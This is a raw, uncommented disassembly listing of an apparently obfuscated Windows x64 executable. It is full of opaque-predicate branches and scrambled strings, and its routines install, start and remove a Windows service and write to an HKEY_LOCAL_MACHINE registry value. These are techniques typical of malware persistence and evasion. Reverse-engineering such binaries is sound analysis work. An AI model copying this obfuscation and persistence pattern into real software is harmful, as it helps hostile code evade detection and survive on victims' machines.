mov qword [rbp + 0x48], rax
jmp 0x140006df1
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x38], rax
mov eax, dword [0x1400fbb64]
add eax, dword [0x1400fbb68]
mov ecx, 0xdb3c3404
xor edx, edx
div ecx
add eax, 0x457c4477
xor eax, 0xef852ba4
cmp eax, 0xe7586572
je 0x1400078ea
mov rcx, qword [rbp + 0x38]
mov eax, dword [0x1400fbb6c]
xor eax, dword [0x1400fbb70]
mov r8d, 0x7841ad1
xor edx, edx
div r8d
xor eax, 0x68c787a3
xor eax, 0xecf18734
mov dword [rbp + 0x30], eax
call sub.msvcrt.dll__strdup
mov rdx, rax
mov eax, dword [rbp + 0x30]
mov rcx, qword [0x140117de0]
mov qword [rcx + 0x38], rdx
mov rcx, qword [0x140117de0]
cmp qword [rcx + 0x38], 0
setne cl
mov byte [rbp + 0x37], cl
cmp eax, 0xfc2493af
ja 0x1400078ea
mov al, byte [rbp + 0x37]
test al, 1
jne 0x140006e8e
jmp 0x140006eb1
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x38]
movsx eax, byte [rax]
cmp eax, 0x2d
je 0x140006eb1
call fcn.1400909d0
mov qword [rbp + 0x2300], rax
cmp dword [rbp + 0x2318], 2
jg 0x140006f2b
mov eax, dword [0x1400fbb74]
or eax, dword [0x1400fbb78]
xor eax, 0x1744a69f
xor eax, 0x4b5df717
xor eax, 0xe5485c98
cmp eax, 0x2402b3c0
jb 0x140007906
mov eax, dword [0x1400fbb7c]
xor edx, edx
div dword [0x1400fbb80]
imul eax, eax, 0x77b71cc
or eax, 0x6b116bae
xor eax, 0xcd5283d5
cmp qword [rbp + 0x2300], 0
setne cl
mov byte [rbp + 0x2f], cl
cmp eax, 0x6e0e686c
je 0x140007906
mov al, byte [rbp + 0x2f]
test al, 1
jne 0x140007009
jmp 0x140006f2b
mov ecx, 2
call qword [fcn.1400f8860]
mov rcx, rax
mov rax, qword [rbp + 0x2310]
mov r8, qword [rax]
lea rdx, [0x1400fb26d]
call fcn.140005720
mov ecx, 2
call qword [fcn.1400f8860]
mov rcx, rax
mov rax, qword [rbp + 0x2310]
mov r8, qword [rax]
mov rax, qword [rbp + 0x2310]
mov r9, qword [rax]
lea rdx, [0x1400fb283]
call fcn.140005720
mov ecx, 2
call qword [fcn.1400f8860]
mov qword [rbp + 0x20], rax
lea rcx, [0x1400fb2f5]
call fcn.14000ac00
mov rcx, qword [rbp + 0x20]
mov r8, rax
lea rdx, str.VAV_VU_R
call fcn.140005720
mov ecx, 2
call qword [fcn.1400f8860]
mov rcx, rax
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r8, qword [rax + 0x10]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r9, qword [rax + 0x18]
mov rax, qword [0x140117df8]
mov rdx, qword [rax]
mov rax, rsp
mov qword [rax + 0x20], rdx
lea rdx, [0x1400fb2f8]
call fcn.140005720
mov dword [rbp + 0x231c], 1
jmp 0x140007444
mov rcx, qword [0x140117de8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x140117dc0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x140117df0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x140117e20]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x140117e80]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x140117e58]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x140117e38]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [0x140117de0]
call fcn.1400aa2f0
mov rcx, qword [rbp + 0x2300]
call fcn.1400a8cd0
mov dword [rbp + 0x230c], eax
mov rax, qword [0x140117de0]
mov ecx, dword [rax + 0x98]
add ecx, 1
mov rax, qword [0x140117de0]
mov dword [rax + 0x98], ecx
cmp dword [rbp + 0x230c], 0
je 0x14000710d
mov eax, dword [0x1400fbb84]
or eax, dword [0x1400fbb88]
mov ecx, 0xb99c108b
xor edx, edx
div ecx
xor eax, 0x6539315d
or eax, 0x32251cf2
cmp eax, 0x345d488f
jbe 0x14000790b
mov eax, dword [str._Iv]
and eax, dword [0x1400fbb90]
and eax, 0x6877b592
add eax, 0xa49be332
or eax, 0x91ed2689
mov ecx, dword [rbp + 0x230c]
mov dword [rbp + 0x230c], ecx
cmp eax, 0xcebb1007
je 0x1400070d6
jmp 0x14000743a
mov eax, dword [0x1400fbb94]
or eax, dword [0x1400fbb98]
imul eax, eax, 0x347965f6
or eax, 0xb76c3d0c
xor eax, 0xc6834857
cmp eax, 0xaa8ef67
jb 0x14000791c
mov eax, dword [0x1400fbb9c]
xor eax, dword [0x1400fbba0]
mov ecx, 0xc2ad7679
xor edx, edx
div ecx
add eax, 0x6602d362
xor eax, 0x8bd56e06
mov rcx, qword [0x140117e90]
cmp qword [rcx], 0
setne cl
mov byte [rbp + 0x1f], cl
cmp eax, 0x9623ba2f
jbe 0x14000791c
mov al, byte [rbp + 0x1f]
test al, 1
jne 0x1400071ec
jmp 0x14000717f
mov eax, dword [0x1400fbba4]
sub eax, dword [0x1400fbba8]
imul eax, eax, 0x578813c3
xor eax, 0x689782f3
mov ecx, 0x70e4a73b
xor edx, edx
div ecx
cmp eax, 0x8354e874
ja 0x140007921
mov eax, dword [0x1400fbbac]
imul eax, dword [0x1400fbbb0]
and eax, 0xa04cc2e8
xor eax, 0x43a7359b
mov ecx, 0xdba70095
xor edx, edx
div ecx
mov dword [rbp + 0x18], eax
mov rcx, qword [rbp + 0x2300]
call sub.msvcrt.dll_fclose
mov eax, dword [rbp + 0x18]
cmp eax, 0xa4e9e0ef
jae 0x140007921
jmp 0x1400071ec
mov eax, dword [0x1400fbbb4]
imul eax, dword [0x1400fbbb8]
and eax, 0x8ef01f7
add eax, 0xc8384762
add eax, 0x83db6fc9
cmp eax, 0x49a68376
je 0x140007932
mov eax, dword [0x1400fbbbc]
add eax, dword [0x1400fbbc0]
add eax, 0xe4f18213
and eax, 0xd5e49d18
and eax, 0x14fd623c
cmp dword [0x1401220a8], 0
setne cl
mov byte [rbp + 0x17], cl
cmp eax, 0x9c896626
je 0x140007213
mov al, byte [rbp + 0x17]
test al, 1
jne 0x140007256
jmp 0x14000737b
mov eax, dword [0x1400fbbc4]
add eax, dword [0x1400fbbc8]
add eax, 0xd31c3457
mov ecx, 0xbfc0d29c
xor edx, edx
div ecx
or eax, 0xb841da6c
cmp eax, 0x47d61902
jb 0x140007937
mov eax, dword [0x1400fbbcc]
or eax, dword [0x1400fbbd0]
imul eax, eax, 0x29c5b82d
xor eax, 0x777b7809
imul eax, eax, 0x6adf9e18
mov dword [rbp + 0x10], eax
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rax, qword [rax + 8]
mov qword [rbp + 0x120], rax
lea rax, [0x140001b20]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
lea rcx, [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
mov ecx, eax
mov eax, dword [rbp + 0x10]
cmp ecx, 0
setne cl
mov byte [rbp + 0x16], cl
cmp eax, 0x8add6b45
jae 0x140007937
mov al, byte [rbp + 0x16]
test al, 1
jne 0x140007376
jmp 0x140007313
mov eax, dword [0x1400fbbd4]
xor edx, edx
div dword [0x1400fbbd8]
or eax, 0x35d8179a
add eax, 0x283510ea
add eax, 0xb0092a1d
cmp eax, 0x9c8243f0
jae 0x140007986
mov eax, dword [0x1400fbbdc]
xor eax, dword [0x1400fbbe0]
imul eax, eax, 0xaf36524d
mov ecx, 0xd64fd50d
xor edx, edx
div ecx
add eax, 0xcaaedfaa
mov dword [rbp + 0xc], eax
call fcn.140001bf0
mov eax, dword [rbp + 0xc]
cmp eax, 0xda37c0
je 0x14000733b
jmp 0x140007376
jmp 0x1400073df
mov eax, dword [0x1400fbbe4]
and eax, dword [0x1400fbbe8]
mov ecx, 0xf322373e
xor edx, edx
div ecx
add eax, 0x66dfee1c
xor eax, 0xecbae2da
cmp eax, 0x96b62c6
jbe 0x140007990
mov eax, dword [0x1400fbbec]
and eax, dword [0x1400fbbf0]
mov ecx, 0x2a29fd18
xor edx, edx
div ecx
and eax, 0x80668e43
sub eax, 0x2ff9b76d
mov dword [rbp + 8], eax
call fcn.140001bf0
mov eax, dword [rbp + 8]
cmp eax, 0x1688baae
jb 0x1400073a5
jmp 0x1400073df
mov eax, dword [0x1400fbbf4]
xor edx, edx
div dword [0x1400fbbf8]
mov ecx, 0x43b3ee71
xor edx, edx
div ecx
and eax, 0xd9efd6c
sub eax, 0xf6823ff8
cmp eax, 0xb941a4bc
jae 0x14000799a
mov eax, dword [0x1400fbbfc]
add eax, dword [0x1400fbc00]
or eax, 0xb953cd2f
mov ecx, 0x7ea59bbc
xor edx, edx
div ecx
add eax, 0x2c16833d
cmp eax, 0xeddac584
ja 0x14000740b
jmp 0x14000743a
mov dword [rbp + 0x231c], 0
mov eax, dword [0x1400fbc04]
or eax, dword [0x1400fbc08]
mov ecx, 0x588bf5b6
xor edx, edx
div ecx
and eax, 0x81bd77d4
and eax, 0xd1645c1a
cmp eax, 0x34f98ee3
ja 0x14000799f
mov eax, dword [0x1400fbc0c]
imul eax, dword [0x1400fbc10]
and eax, 0x50d56b07
add eax, 0x4e01b6ae
mov ecx, 0xf8fcecf8
xor edx, edx
div ecx
mov ecx, dword [rbp + 0x231c]
mov dword [rbp + 4], ecx
cmp eax, 0x1a0cb9c3
ja 0x14000799f
mov eax, dword [rbp + 4]
add rsp, 0x23a0
pop rbp
ret
jmp 0x140005987
mov rax, qword [rbp + 0x2310]
mov rcx, qword [rax + 8]
lea rdx, [0x1400fb033]
call sub.msvcrt.dll_strcmp
jmp 0x1400059f7
lea rcx, [rbp + 0x160]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r8, qword [rax + 8]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r9, qword [rax + 0x10]
lea rdx, [0x1400fb03d]
call fcn.1400079b0
lea rdx, [rbp + 0x160]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r8, qword [rax + 0x10]
xor eax, eax
mov ecx, eax
mov r9d, 0x44
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140005a8f
mov dword [rbp + 0x231c], 1
jmp 0x140005b7a
mov byte [rbp + 0x160], 0x22
mov rax, qword [rbp + 0x2310]
mov rdx, qword [rax]
lea r10, [rbp + 0x160]
add r10, 1
xor eax, eax
mov ecx, eax
lea r8, [0x1400fb0df]
mov r9d, 0x100
lea rax, [rbp + 0x22f8]
mov qword [rsp + 0x20], r10
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_SearchPathA]
mov dword [rbp + 0x230c], eax
jmp 0x140005bd6
lea rcx, str.Kldahi_yb_kdci_huhnxyloah_kdahcl_h_r
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x66
jmp 0x140005c99
jmp 0x140005d30
jmp 0x140005da5
lea rcx, [0x1400fb10b]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x67
jmp 0x140005e5f
xor eax, eax
mov edx, eax
mov r8d, 0x40000010
mov rcx, rdx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rbp + 0x158], rax
jmp 0x140005ef3
lea rcx, [0x1400fb136]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x65
jmp 0x140005f89
mov rcx, qword [rbp + 0x158]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rdx, qword [rax + 8]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov r8, qword [rax + 0x10]
lea rax, [rbp + 0x160]
mov r9d, 0x20000000
xor r10d, r10d
xor r10d, r10d
mov dword [rsp + 0x20], 0x10
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov qword [rbp + 0x158], rax
jmp 0x140006000
lea rcx, [0x1400fb155]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x67
jmp 0x140006116
mov rcx, qword [rbp + 0x158]
xor edx, edx
xor eax, eax
mov r8d, eax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
jmp 0x14000618e
lea rcx, [0x1400fb16e]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x67
jmp 0x14000621d
jmp 0x140006290
lea rcx, [0x1400fb1bc]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x68
jmp 0x14000631f
mov rax, qword [rbp + 0x150]
mov qword [rbp - 0x18], rax
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rax, qword [rax + 8]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x160]
mov qword [rbp - 8], rax
lea rcx, [rbp + 0x160]
call sub.msvcrt.dll_strlen
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rbp - 8]
add eax, 1
xor r8d, r8d
mov r9d, 2
mov qword [rsp + 0x20], r10
mov dword [rsp + 0x28], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x140006399
mov dword [rbp + 0x231c], 0
jmp 0x1400064ab
jmp 0x14000650f
jmp 0x14000657e
mov rax, qword [rbp + 0x2310]
mov rcx, qword [rax + 8]
lea rdx, [0x1400fb1f1]
call sub.msvcrt.dll_strcmp
jmp 0x1400065f7
jmp 0x14000668a
xor eax, eax
mov edx, eax
mov r8d, 0x40000000
mov rcx, rdx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov qword [rbp + 0x148], rax
jmp 0x1400066fc
lea rcx, [0x1400fb1fa]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x6a
jmp 0x140006798
mov rcx, qword [rbp + 0x148]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rdx, qword [rax + 8]
mov r8d, 0x10000
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov qword [rbp + 0x148], rax
jmp 0x140006809
lea rcx, [0x1400fb21a]
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x6b
jmp 0x1400068a9
jmp 0x14000694b
mov rcx, 0xffffffff80000002
lea rdx, [0x1400fb186]
xor r8d, r8d
mov r9d, 0xf003f
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x1400069a1
mov rcx, qword [rbp + 0x140]
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rdx, qword [rax + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x140006a5b
lea rcx, str.Afnkbcshdkbfuub_ntsu_a77i
call sub.msvcrt.dll_perror
mov dword [rbp + 0x230c], 0x6e
jmp 0x140006af0
jmp 0x140006b64
mov dword [rbp + 0x230c], 0
jmp 0x140006bbc
jmp 0x140006c17
mov rax, qword [rbp + 0x2310]
mov rcx, qword [rax + 0x10]
lea rdx, [0x1400fb263]
call sub.msvcrt.dll_strcmp
jmp 0x140006c86
jmp 0x140006d1f
jmp 0x140006da1
mov rcx, qword [rbp + 0x38]
call sub.msvcrt.dll__strdup
mov rcx, rax
mov rax, qword [0x140117de0]
mov qword [rax + 0x38], rcx
jmp 0x140006e23
jmp 0x140006ee4
mov eax, dword [rbp + 0x230c]
mov dword [rbp + 0x230c], eax
jmp 0x1400070d6
jmp 0x140007134
mov rcx, qword [rbp + 0x2300]
call sub.msvcrt.dll_fclose
jmp 0x1400071aa
jmp 0x140007213
mov rax, qword [0x140117de0]
mov rax, qword [rax + 0x168]
mov rax, qword [rax + 8]
mov qword [rbp + 0x120], rax
lea rax, [0x140001b20]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
lea rcx, [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x140007280
call fcn.140001bf0
jmp 0x14000733b
call fcn.140001bf0
jmp 0x1400073a5
jmp 0x14000740b
jmp 0x14000746e